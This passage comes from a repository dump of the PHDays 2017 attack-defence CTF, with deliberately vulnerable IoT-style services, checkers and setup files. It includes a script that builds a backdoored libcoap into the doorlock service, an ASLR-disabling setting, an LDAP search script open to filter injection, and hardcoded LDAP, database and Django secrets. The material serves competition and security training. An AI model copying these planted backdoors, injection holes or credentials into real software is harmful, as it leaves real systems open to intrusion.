├── services ├── tv │ ├── origin │ │ └── .placeholder │ ├── start.sh │ ├── static │ │ └── tv.css │ ├── docker-compose.yml │ ├── im │ │ ├── type.xml │ │ ├── coder.xml │ │ ├── magic.xml │ │ ├── log.xml │ │ ├── colors.xml │ │ ├── quantization-table.xml │ │ └── policy.xml │ └── templates │ │ └── index.tmpl ├── fridge │ ├── web │ │ ├── fridge │ │ │ ├── __init__.py │ │ │ ├── urls.py │ │ │ └── wsgi.py │ │ ├── .gitignore │ │ ├── accounts │ │ │ ├── __init__.py │ │ │ ├── migrations │ │ │ │ └── __init__.py │ │ │ ├── models.py │ │ │ ├── admin.py │ │ │ ├── tests.py │ │ │ ├── apps.py │ │ │ ├── urls.py │ │ │ └── views.py │ │ ├── refrigerator │ │ │ ├── __init__.py │ │ │ ├── migrations │ │ │ │ └── __init__.py │ │ │ ├── templatetags │ │ │ │ ├── __init__.py │ │ │ │ └── dict.py │ │ │ ├── tests.py │ │ │ ├── apps.py │ │ │ ├── static │ │ │ │ └── images │ │ │ │ │ └── refrigerators │ │ │ │ │ ├── 1.jpg │ │ │ │ │ ├── 10.jpg │ │ │ │ │ ├── 2.jpg │ │ │ │ │ ├── 3.jpg │ │ │ │ │ ├── 4.jpg │ │ │ │ │ ├── 5.jpg │ │ │ │ │ ├── 6.jpg │ │ │ │ │ ├── 7.jpg │ │ │ │ │ ├── 8.jpg │ │ │ │ │ └── 9.jpg │ │ │ ├── admin.py │ │ │ ├── forms.py │ │ │ ├── urls.py │ │ │ ├── templates │ │ │ │ └── refrigerator │ │ │ │ │ ├── refrigerator.html │ │ │ │ │ └── recipe.html │ │ │ └── models.py │ │ ├── requirements.txt │ │ ├── templates │ │ │ ├── registration │ │ │ │ ├── logged_out.html │ │ │ │ └── login.html │ │ │ ├── _jumbotron.html │ │ │ ├── bootstrapform │ │ │ │ └── field.html │ │ │ └── layout.html │ │ ├── static │ │ │ └── css │ │ │ │ └── common.css │ │ ├── manage.py │ │ └── dumper │ │ │ ├── __init__.py │ │ │ └── middleware.py │ ├── api │ │ ├── requirements.txt │ │ └── loader.py │ ├── config │ │ ├── api.Dockerfile │ │ ├── environment.env │ │ ├── django.Dockerfile │ │ ├── nginx.conf │ │ ├── django.uwsgi.ini │ │ ├── db.check.py │ │ └── django.start.sh │ └── docker-compose.yml ├── doorlock │ ├── .atom-build.yml │ ├── scripts │ │ ├── .gitignore │ │ └── misc │ │ │ ├── put-get-loop.sh │ │ │ ├── call-all-methods.sh │ │ │ └── put-get.sh │ ├── .gitignore │ ├── docker-build.sh │ ├── docker-create-volume.sh │ ├── docker-run.sh │ ├── ldap │ │ ├── add-locks.ldif │ │ ├── ldap-del.sh │ │ ├── ldap.cfg │ │ ├── ldap-init.sh │ │ ├── ldap-gen-ldif.sh │ │ ├── ldap-search.sh │ │ ├── test-client │ │ │ ├── Makefile │ │ │ └── main.c │ │ ├── doorlock.conf │ │ ├── api-card-get.sh │ │ ├── ldap-add-locks.sh │ │ ├── ldap-reset-db.sh │ │ ├── INSTALL.TXT │ │ ├── LINKS.TXT │ │ ├── slapd.d │ │ │ ├── cn=config │ │ │ │ ├── olcDatabase={0}config.ldif │ │ │ │ ├── olcDatabase={-1}frontend.ldif │ │ │ │ └── cn=schema │ │ │ │ │ ├── cn={4}doorlock.ldif │ │ │ │ │ └── cn={3}inetorgperson.ldif │ │ │ └── cn=config.ldif │ │ ├── ldap-dpkg-reconfigure.sh │ │ ├── api-lock-register.sh │ │ ├── api-card-add.sh │ │ └── doorlock.schema │ ├── libs │ │ └── libcoap-1.a │ ├── backdoor │ │ ├── libcoap-with-backdoor.tgz │ │ └── build_with_backdoor.sh │ ├── docker-compose.yml │ ├── docker-wrapper.sh │ ├── README │ ├── Makefile │ ├── copy-vulnbox-files.sh │ ├── url-decode.c │ ├── include │ │ ├── coap │ │ │ ├── str.h │ │ │ ├── libcoap.h │ │ │ ├── coap.h │ │ │ ├── coap.h.in │ │ │ ├── hashkey.h │ │ │ ├── lwippools.h │ │ │ ├── encode.h │ │ │ ├── debug.h │ │ │ ├── bits.h │ │ │ ├── subscribe.h │ │ │ ├── prng.h │ │ │ ├── mem.h │ │ │ └── coap_time.h │ │ ├── coap_list.h │ │ └── coap_config.h │ └── Dockerfile ├── coffeepot │ ├── coffeepot_service │ │ ├── coffeepot │ │ │ ├── pots │ │ │ │ └── .gitkeep │ │ │ ├── favicon.ico │ │ │ ├── coffee_httpd │ │ │ ├── httpd_src │ │ │ │ ├── README │ │ │ │ ├── Makefile │ │ │ │ ├── coffee_httpd.c │ │ │ │ └── LICENSE.txt │ │ │ └── coffeepot.cgi │ │ └── Dockerfile │ └── docker-compose.yml └── thermometer │ ├── module │ ├── 01-disable-aslr.conf │ ├── Dockerfile.compile │ ├── Dockerfile │ ├── src │ │ └── Makefile │ └── wait-for-it.sh │ ├── mosquitto-auth-plugin │ ├── build_plugin.sh │ ├── Dockerfile │ └── mosquitto-auth-plug-config.mk │ ├── sensor │ ├── Dockerfile │ ├── Dockerfile.compile │ └── wait-for-it.sh │ ├── mqtt-db │ ├── start.sh │ ├── Dockerfile │ ├── init-db.sql │ └── wait-for-it.sh │ ├── mosquitto │ ├── Dockerfile │ └── wait-for-it.sh │ ├── prepare_for_deploy.sh │ ├── docker-compose-build-images.yml │ ├── README.md │ ├── docker-compose-compile-binaries.yml │ └── docker-compose.yml ├── sploits ├── fridge │ └── requirements.txt ├── thermometer │ ├── requirements.txt │ ├── README.txt │ └── thermometer.sploit.py ├── doorlock │ ├── REQUIREMENTS │ ├── sploit-injection.sh │ └── sploit-backdoor.sh ├── coffeepot │ └── coffeepot_spl.py └── tv │ └── tv.pl ├── checkers ├── thermometer │ ├── README.txt │ ├── requirements.txt │ ├── thermometer.cheker.py │ ├── thermometer_module.py │ └── mqtt_client.py ├── doorlock │ ├── INSTALL.TXT │ ├── nano-checksystem.sh │ ├── doorlock.stress.py │ └── doorlockclient.py └── fridge │ ├── requirements.txt │ ├── INSTALL.TXT │ └── checklib │ ├── utils.py │ ├── random.py │ └── http.py ├── vuln_image ├── hosts ├── roles │ ├── tv_service │ │ ├── meta │ │ │ └── main.yml │ │ ├── files │ │ │ └── tv.service │ │ └── tasks │ │ │ └── main.yml │ ├── fridge_service │ │ ├── meta │ │ │ └── main.yml │ │ ├── files │ │ │ └── fridge.service │ │ └── tasks │ │ │ └── main.yml │ ├── coffeepot_service │ │ ├── meta │ │ │ └── main.yml │ │ ├── files │ │ │ └── coffeepot.service │ │ └── tasks │ │ │ └── main.yml │ ├── doorlock_service │ │ ├── meta │ │ │ └── main.yml │ │ ├── files │ │ │ └── doorlock.service │ │ └── tasks │ │ │ └── main.yml │ ├── thermometer_service │ │ ├── meta │ │ │ └── main.yml │ │ ├── files │ │ │ └── thermometer.service │ │ └── tasks │ │ │ └── main.yml │ ├── docker-compose │ │ └── tasks │ │ │ └── main.yml │ └── docker │ │ └── tasks │ │ └── main.yml ├── README.md ├── install_python_2.yml ├── update_packages.yml └── setup.yml ├── writeups ├── coffeepot.png ├── tv.md ├── coffeepot.md └── thermometer.md ├── .gitmodules ├── .gitignore └── README.md /services/tv/origin/.placeholder: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/fridge/web/fridge/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/fridge/web/.gitignore: -------------------------------------------------------------------------------- 1 | db.sqlite3 -------------------------------------------------------------------------------- /services/fridge/web/accounts/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/doorlock/.atom-build.yml: -------------------------------------------------------------------------------- 1 | cmd: make 2 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sploits/fridge/requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | bs4 -------------------------------------------------------------------------------- /services/fridge/api/requirements.txt: -------------------------------------------------------------------------------- 1 | Django==1.11 2 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/doorlock/scripts/.gitignore: -------------------------------------------------------------------------------- 1 | doorlock.counters 2 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/migrations/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/templatetags/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sploits/thermometer/requirements.txt: -------------------------------------------------------------------------------- 1 | paho_mqtt==1.2.3 2 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/pots/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /checkers/thermometer/README.txt: -------------------------------------------------------------------------------- 1 | pip3 install -r requirements.txt 2 | -------------------------------------------------------------------------------- /sploits/thermometer/README.txt: -------------------------------------------------------------------------------- 1 | pip3 install -r requirements.txt 2 | -------------------------------------------------------------------------------- /vuln_image/hosts: -------------------------------------------------------------------------------- 1 | [vuln_image] 2 | 192.168.250.32 ansible_user=ctf 3 | -------------------------------------------------------------------------------- /checkers/thermometer/requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.14.1 2 | paho_mqtt==1.2.3 3 | -------------------------------------------------------------------------------- /services/thermometer/module/01-disable-aslr.conf: -------------------------------------------------------------------------------- 1 | kernel.randomize_va_space = 0 2 | -------------------------------------------------------------------------------- /sploits/doorlock/REQUIREMENTS: -------------------------------------------------------------------------------- 1 | apt-get install nodejs npm 2 | npm install coap-cli -g 3 | -------------------------------------------------------------------------------- /services/doorlock/.gitignore: -------------------------------------------------------------------------------- 1 | doorlock-server.d 2 | doorlock-server.o 3 | doorlock-server 4 | -------------------------------------------------------------------------------- /services/doorlock/docker-build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker build -t doorlock . 4 | 5 | -------------------------------------------------------------------------------- /checkers/doorlock/INSTALL.TXT: -------------------------------------------------------------------------------- 1 | sudo pip install aiocoap 2 | # https://github.com/chrysn/aiocoap 3 | -------------------------------------------------------------------------------- /services/doorlock/docker-create-volume.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker volume create --name ldap 3 | -------------------------------------------------------------------------------- /writeups/coffeepot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/writeups/coffeepot.png -------------------------------------------------------------------------------- /services/fridge/web/accounts/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | -------------------------------------------------------------------------------- /services/doorlock/docker-run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -d -v ldap:/var/lib/ldap -p 5683:5683/udp doorlock 3 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /services/doorlock/ldap/add-locks.ldif: -------------------------------------------------------------------------------- 1 | dn: cn=locks,dc=iot,dc=phdays,dc=com 2 | objectClass: top 3 | objectClass: device 4 | -------------------------------------------------------------------------------- /services/doorlock/libs/libcoap-1.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/doorlock/libs/libcoap-1.a -------------------------------------------------------------------------------- /services/tv/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export GOROOT=/opt/go1.8.1 4 | export PATH=$PATH:$GOROOT/bin 5 | 6 | go run tv.go 7 | -------------------------------------------------------------------------------- /vuln_image/roles/tv_service/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | dependencies: 4 | - { role: docker } 5 | - { role: docker-compose } 6 | -------------------------------------------------------------------------------- /checkers/fridge/requirements.txt: -------------------------------------------------------------------------------- 1 | # Requirements for the checker of the Fridge service (PHDays Online CTF 2017) 2 | 3 | requests 4 | bs4 -------------------------------------------------------------------------------- /vuln_image/roles/fridge_service/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | dependencies: 4 | - { role: docker } 5 | - { role: docker-compose } 6 | -------------------------------------------------------------------------------- /vuln_image/roles/coffeepot_service/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | dependencies: 4 | - { role: docker } 5 | - { role: docker-compose } 6 | -------------------------------------------------------------------------------- /vuln_image/roles/doorlock_service/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | dependencies: 4 | - { role: docker } 5 | - { role: docker-compose } 6 | -------------------------------------------------------------------------------- /vuln_image/roles/thermometer_service/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | dependencies: 4 | - { role: docker } 5 | - { role: docker-compose } 6 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class AccountsConfig(AppConfig): 5 | name = 'accounts' 6 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class FridgeConfig(AppConfig): 5 | name = 'refrigerator' 6 | -------------------------------------------------------------------------------- /services/doorlock/backdoor/libcoap-with-backdoor.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/doorlock/backdoor/libcoap-with-backdoor.tgz -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-del.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | source ldap.cfg 3 | ldapdelete -r -h $LDAP_HOST -D $LDAP_USER -w $LDAP_PASS "cn=locks,dc=iot,dc=phdays,dc=com" 4 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/coffeepot/coffeepot_service/coffeepot/favicon.ico -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/coffee_httpd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/coffeepot/coffeepot_service/coffeepot/coffee_httpd -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap.cfg: -------------------------------------------------------------------------------- 1 | LDAP_HOST="127.0.0.1" 2 | LDAP_ROOT="dc=iot,dc=phdays,dc=com" 3 | LDAP_USER="cn=admin,dc=iot,dc=phdays,dc=com" 4 | LDAP_PASS="XfhC57uwby3plBWD" 5 | -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-init.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | source ldap.cfg 3 | for f in *.ldif 4 | do 5 | echo "Adding: $f" 6 | ldapadd -h $LDAP_HOST -D $LDAP_USER -w $LDAP_PASS -f $f 7 | done 8 | -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/1.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/10.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/2.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/3.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/4.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/5.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/6.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/7.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/8.jpg -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/static/images/refrigerators/9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/phdctf-2017/HEAD/services/fridge/web/refrigerator/static/images/refrigerators/9.jpg -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-gen-ldif.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | DIR=slapd.d 3 | set -e 4 | 5 | [ -d $DIR ] && rm -v -r $DIR 6 | mkdir -v $DIR 7 | slaptest -f doorlock.conf -F $DIR 8 | 9 | echo Success! 10 | -------------------------------------------------------------------------------- /services/fridge/web/requirements.txt: -------------------------------------------------------------------------------- 1 | appdirs==1.4.3 2 | Django==1.11 3 | packaging==16.8 4 | pyparsing==2.2.0 5 | pytz==2017.2 6 | six==1.10.0 7 | django-choices==1.5.0 8 | django-bootstrap-form==3.2.1 9 | psycopg2 -------------------------------------------------------------------------------- /services/fridge/web/refrigerator/templatetags/dict.py: -------------------------------------------------------------------------------- 1 | from django.template import Library 2 | 3 | register = Library() 4 | 5 | 6 | @register.filter 7 | def get_item(obj, key): 8 | return obj.__getitem__(key) 9 | -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-search.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ -z "$1" ] 3 | then 4 | echo USAGE: $0 QUERY 5 | exit 1 6 | fi 7 | source ldap.cfg 8 | ldapsearch -h $LDAP_HOST -D $LDAP_USER -w $LDAP_PASS -b $LDAP_ROOT "$1" -LLL 9 | -------------------------------------------------------------------------------- /services/doorlock/ldap/test-client/Makefile: -------------------------------------------------------------------------------- 1 | main: main.c 2 | gcc -std=c99 main.c -o main -lldap /usr/lib/x86_64-linux-gnu/liblber.a 3 | 4 | clean: 5 | rm main 6 | 7 | # sprintf(context, "(&(lockId=04555251196964)(cn=zzzz))") 8 | -------------------------------------------------------------------------------- /services/doorlock/ldap/doorlock.conf: -------------------------------------------------------------------------------- 1 | include /etc/ldap/schema/core.schema 2 | include /etc/ldap/schema/cosine.schema 3 | include /etc/ldap/schema/nis.schema 4 | include /etc/ldap/schema/inetorgperson.schema 5 | include doorlock.schema 6 | -------------------------------------------------------------------------------- /services/tv/static/tv.css: -------------------------------------------------------------------------------- 1 | body { 2 | font-family: "Courier New"; 3 | } 4 | 5 | div.main { 6 | width: 960; 7 | margin: 0 auto; 8 | } 9 | 10 | div.settings { 11 | width: 320; 12 | margin: 0 0 0 auto; 13 | } 14 | -------------------------------------------------------------------------------- /services/doorlock/scripts/misc/put-get-loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while [ 1 ] 4 | do 5 | echo -n `date` >> loop.log 6 | Q=`/usr/bin/time -f "\t%E real,\t%U user,\t%S sys" -a -o loop.log ./put-get.sh` 7 | echo $Q >> loop.log 8 | done 9 | -------------------------------------------------------------------------------- /services/fridge/web/templates/registration/logged_out.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /services/thermometer/mosquitto-auth-plugin/build_plugin.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker build -t mosquitto-auth-plugin . 4 | docker run --rm -it -v ${PWD}/../mosquitto:/working_dir mosquitto-auth-plugin cp /usr/mosquitto-auth-plug/auth-plug.so /working_dir 5 | -------------------------------------------------------------------------------- /services/fridge/web/accounts/urls.py: -------------------------------------------------------------------------------- 1 | from django.conf.urls import url 2 | from . import views 3 | 4 | urlpatterns = [ 5 | url(r'^login/$', views.LoginView.as_view(), name='login'), 6 | url(r'^register/$', views.registration, name='registration'), 7 | ] 8 | -------------------------------------------------------------------------------- /vuln_image/roles/docker-compose/tasks/main.yml: -------------------------------------------------------------------------------- 1 | - name: Download and install docker-compose 2 | get_url: 3 | url: https://github.com/docker/compose/releases/download/1.12.0/docker-compose-Linux-x86_64 4 | dest: /usr/bin/docker-compose 5 | mode: 0755 6 | -------------------------------------------------------------------------------- /services/coffeepot/coffeepot_service/coffeepot/httpd_src/README: -------------------------------------------------------------------------------- 1 | This is just HTTP<--CGI-->PROGRAM gateway. 2 | 3 | Original version can be found at https://github.com/cesanta/mongoose. 4 | 5 | This is the hardened version with some 0days fixed. 6 | 7 | Don't spend time on this code. 8 | -------------------------------------------------------------------------------- /vuln_image/README.md: -------------------------------------------------------------------------------- 1 | ansible-playbook -i hosts --become --ask-become-pass install_python_2.yml 2 | 3 | ansible-playbook -i hosts --become --ask-become-pass update_packages.yml 4 | 5 | ansible-playbook -i hosts --become --ask-become-pass setup.yml 6 | 7 | user@V5PjNaqsaRmLaGv7 8 | -------------------------------------------------------------------------------- /vuln_image/install_python_2.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - hosts: vuln_image 4 | vars: 5 | ansible_python_interpreter: /usr/bin/python3 6 | 7 | tasks: 8 | - name: Install packages to allow apt to use a repository over HTTPS 9 | apt: name=python-minimal state=latest 10 | -------------------------------------------------------------------------------- /checkers/fridge/INSTALL.TXT: -------------------------------------------------------------------------------- 1 | 1. Install Python 3 and pip for it. I.e. on debian-based hosts run `apt install python3 python3-pip` 2 | 3 | 2. Install requiremenets for the checker: 4 | > pip3 install -Ur requirements.txt 5 | (Or just `pip` instead of `pip3` on Windows or in virtual environments with Python 3) -------------------------------------------------------------------------------- /services/doorlock/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | doorlock: 5 | image: doorlock 6 | container_name: doorlock 7 | restart: on-failure 8 | volumes: 9 | - ldap:/var/lib/ldap 10 | ports: 11 | - "5683:5683/udp" 12 | 13 | volumes: 14 | ldap: 15 | -------------------------------------------------------------------------------- /services/tv/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | tv: 5 | image: phdays_ctf_tv:v2 6 | container_name: tv 7 | working_dir: /opt/tv 8 | restart: on-failure 9 | ports: 10 | - "8080:8080" 11 | volumes: 12 | - .:/opt/tv 13 | command: bash start.sh 14 | -------------------------------------------------------------------------------- /services/doorlock/ldap/api-card-get.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This is Doorlock API stub 3 | set -e 4 | source ldap.cfg 5 | 6 | if [ -z "$2" ] 7 | then 8 | echo USAGE: `basename $0` LOCK_ID CARD_ID 9 | exit 1 10 | fi 11 | 12 | LOCK_ID=$1 13 | CARD_ID=$2 14 | 15 | ./ldap-search.sh "(&(lockId=$LOCK_ID)(cn=$CARD_ID))" 16 | -------------------------------------------------------------------------------- /services/thermometer/sensor/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache libuuid libc6-compat bash 4 | 5 | COPY sensor /usr/bin/ 6 | 7 | COPY wait-for-it.sh /usr/bin/wait-for-it.sh 8 | RUN chmod +x /usr/bin/wait-for-it.sh 9 | 10 | CMD ["wait-for-it.sh", "-t", "0", "mqtt-broker:1883", "--", "/usr/bin/sensor"] 11 | -------------------------------------------------------------------------------- /services/doorlock/backdoor/build_with_backdoor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | tar xvf libcoap-with-backdoor.tgz 6 | pushd libcoap 7 | 8 | make clean && make 9 | gcc -c src/commit.c 10 | ar cr .libs/libcoap-1.a commit.o 11 | 12 | cp -v .libs/libcoap-1.a ../../libs/ 13 | 14 | popd 15 | rm -rf libcoap 16 | 17 | echo Done. 18 | -------------------------------------------------------------------------------- /vuln_image/update_packages.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - hosts: vuln_image 4 | # vars: 5 | # ansible_python_interpreter: /usr/bin/python3 6 | 7 | tasks: 8 | - name: Install aptitude 9 | apt: 10 | name: aptitude 11 | state: present 12 | 13 | - name: Update packages 14 | apt: upgrade=yes update_cache=yes 15 | -------------------------------------------------------------------------------- /services/thermometer/mqtt-db/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -d /var/lib/mysql/mysql ]; then 4 | mysql_install_db 5 | chown -R mysql:mysql /var/lib/mysql 6 | fi 7 | 8 | trap "mysqladmin shutdown" TERM 9 | mysqld_safe --bind-address=0.0.0.0 & 10 | 11 | /wait-for-it.sh -t 0 127.0.0.1:3306 -- mysql < /init-db.sql 12 | 13 | wait 14 | -------------------------------------------------------------------------------- /vuln_image/setup.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - hosts: vuln_image 4 | 5 | roles: 6 | - thermometer_service 7 | - doorlock_service 8 | - tv_service 9 | - coffeepot_service 10 | - fridge_service 11 | 12 | 13 | # environment: 14 | # http_proxy: http://xz.avp.ru:8080 15 | # https_proxy: http://xz.avp.ru:8080 16 | -------------------------------------------------------------------------------- /services/doorlock/ldap/ldap-add-locks.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | service slapd stop 5 | 6 | cp -v doorlock.schema /etc/ldap/schema/doorlock.schema 7 | 8 | LDIF=slapd.d/cn=config/cn=schema/cn={4}doorlock.ldif 9 | cp -v $LDIF /etc/ldap/$LDIF 10 | chown openldap.openldap /etc/ldap/$LDIF 11 | 12 | service slapd start 13 | 14 | echo Success! 15 | -------------------------------------------------------------------------------- /services/fridge/web/fridge/urls.py: -------------------------------------------------------------------------------- 1 | from django.conf.urls import url, include 2 | from django.contrib import admin 3 | 4 | urlpatterns = [ 5 | url(r'^accounts/', include('accounts.urls')), 6 | url(r'^accounts/', include('django.contrib.auth.urls')), 7 | url(r'^admin/', admin.site.urls), 8 | url(r'^', include('refrigerator.urls')), 9 | ] 10 | -------------------------------------------------------------------------------- /services/fridge/config/api.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | MAINTAINER andgein@yandex.ru 4 | 5 | # Install application requirements 6 | ADD ./api/requirements.txt / 7 | RUN pip3 install -U pip 8 | RUN pip3 install -Ur /requirements.txt 9 | 10 | # Add code 11 | ADD ./api /srv 12 | RUN chmod +x /srv/server.py 13 | 14 | # Start server 15 | CMD ["./srv/server.py"] -------------------------------------------------------------------------------- /services/coffeepot/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | 3 | services: 4 | coffeepot: 5 | build: coffeepot_service 6 | volumes: 7 | - coffeepot-data:/home/coffeepot/pots 8 | hostname: coffeepot 9 | container_name: coffeepot-service 10 | restart: on-failure 11 | ports: 12 | - "3255:3255" 13 | 14 | volumes: 15 | coffeepot-data: 16 | -------------------------------------------------------------------------------- /services/fridge/config/environment.env: -------------------------------------------------------------------------------- 1 | ##### 2 | # Postgresql 3 | ##### 4 | 5 | POSTGRES_HOST=fridge-db 6 | POSTGRES_PORT=5432 7 | 8 | POSTGRES_NAME=postgres 9 | POSTGRES_USER=postgres 10 | POSTGRES_PASSWORD=zykrb864h596eec1 11 | 12 | ##### 13 | # Django 14 | ##### 15 | 16 | DJANGO_PROJECT_NAME=fridge 17 | DJANGO_SECRET_KEY=2ncn((ih(3zzn&50c0aou!6m1th6p8wxbd@-n(c(s(p79op -------------------------------------------------------------------------------- /services/thermometer/mqtt-db/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.4 2 | 3 | RUN apk add --no-cache mysql mysql-client bash && rm -rf /var/lib/mysql 4 | 5 | ADD start.sh / 6 | RUN chmod +x /start.sh 7 | ADD init-db.sql / 8 | 9 | COPY wait-for-it.sh /wait-for-it.sh 10 | RUN chmod +x /wait-for-it.sh 11 | 12 | VOLUME ["/var/lib/mysql"] 13 | EXPOSE 3306 14 | 15 | CMD [ "/start.sh" ] 16 | -------------------------------------------------------------------------------- /services/doorlock/scripts/misc/call-all-methods.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # REQUIRED: npm install coap-cli -g 4 | # 5 | coap -T get 'coap://127.0.0.1/' 6 | echo -n | coap -T post 'coap://127.0.0.1/register_lock?model=MMOODDEELL&floor=6&room=616' 7 | echo -n | coap -T post 'coap://127.0.0.1/add_card?lock=BBB&card=5432&tag=TTAAGG' 8 | coap -T get 'coap://127.0.0.1/get_card?lock=AAA&card=1234' 9 | -------------------------------------------------------------------------------- /services/thermometer/module/Dockerfile.compile: -------------------------------------------------------------------------------- 1 | FROM 